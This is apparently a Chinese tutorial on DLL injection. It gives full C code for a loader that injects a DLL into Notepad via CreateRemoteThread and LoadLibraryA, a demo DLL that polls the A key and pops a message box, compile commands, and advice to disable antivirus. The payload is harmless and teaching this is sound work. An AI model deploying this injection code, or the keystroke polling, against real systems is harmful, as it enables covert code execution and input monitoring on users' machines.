概念介绍

DLL 注入攻击(DLL Injection)是一种将动态链接库(DLL)强制加载到目标进程中的技术,使得攻击者编写的代码能在目标进程的地址空间中运行。

在 Windows 中,DLL 注入是系统提供的合法功能,主要用于调试器和辅助工具,但也可以被用于攻击,不过这种攻击手段是非常明显且初等的,一般的防护软件都会阻止这种行为。

简易实现

可以使用最经典的 CreateRemoteThread + LoadLibraryA 方法实现 DLL 注入攻击,下面是主要的代码思路。

代码参考:idea4good/AbuCoding

Loader

目标是让目标进程(这里以记事本Notepad.exe为例)加载提供的 DLL,实现步骤:

  • 查找并获取目标进程句柄:使用 CreateToolhelp32Snapshot 遍历系统进程列表;调用 OpenProcess(PROCESS_ALL_ACCESS, ...)
  • 在目标进程分配内存并写入 DLL 路径VirtualAllocEx 为 DLL 路径字符串留空间;WriteProcessMemory 将 DLL 路径写到目标进程
  • 获取 LoadLibraryA 地址GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA")
  • 创建远程线程并执行 LoadLibraryACreateRemoteThread 执行 LoadLibraryA,从而加载 DLL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>

HANDLE searchProcess(PCHAR ProcessName) {
PROCESSENTRY32 pe = {.dwSize = sizeof(PROCESSENTRY32)};
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (Process32First(hSnapshot, &pe)) {
do {
if (strcmp(pe.szExeFile, ProcessName) == 0) {
printf("%s has been opened\n", pe.szExeFile);
return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
}
} while (Process32Next(hSnapshot, &pe));
}

CloseHandle(hSnapshot);
return NULL;
}

char DllPath[MAX_PATH];

int main() {
HANDLE hProcess = searchProcess("Notepad.exe");

GetCurrentDirectoryA(MAX_PATH, DllPath);
strcat(DllPath, "\\dll.dll");

LPVOID remoteMemory = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteMemory, (LPVOID)DllPath,
strlen(DllPath) + 1, 0);

LPTHREAD_START_ROUTINE remoteTask = (LPTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
HANDLE hLoadThread =
CreateRemoteThread(hProcess, 0, 0, remoteTask, remoteMemory, 0, 0);
}

DLL

为了验证 DLL 注入是否成功,DLL 的行为很简单:创建一个可以观察到具体行为的新线程, 每隔 100ms 检测是否按下键盘 A 键,如果检测到,调用 MessageBoxA 弹窗提示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <windows.h>

DWORD WINAPI task(LPVOID param) {
while (TRUE) {
if (GetAsyncKeyState('A') & 0x8000) {
MessageBoxA(NULL, "key A detected", "Info from DLL", MB_OK);
}

Sleep(100);
}
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
CreateThread(0, 0, task, hModule, 0, 0);
}

return TRUE;
}

编译运行

编译命令如下:

1
2
cl /LD dll.c user32.lib
cl loader.c user32.lib

必须关闭防护软件,否则 loader.c 编译生成的可执行程序可能被直接删除。

运行过程如下:

  1. 运行记事本 Notepad.exe
  2. 运行注入器 loader.exe
  3. 在记事本中按下 A 键,观察到出现弹窗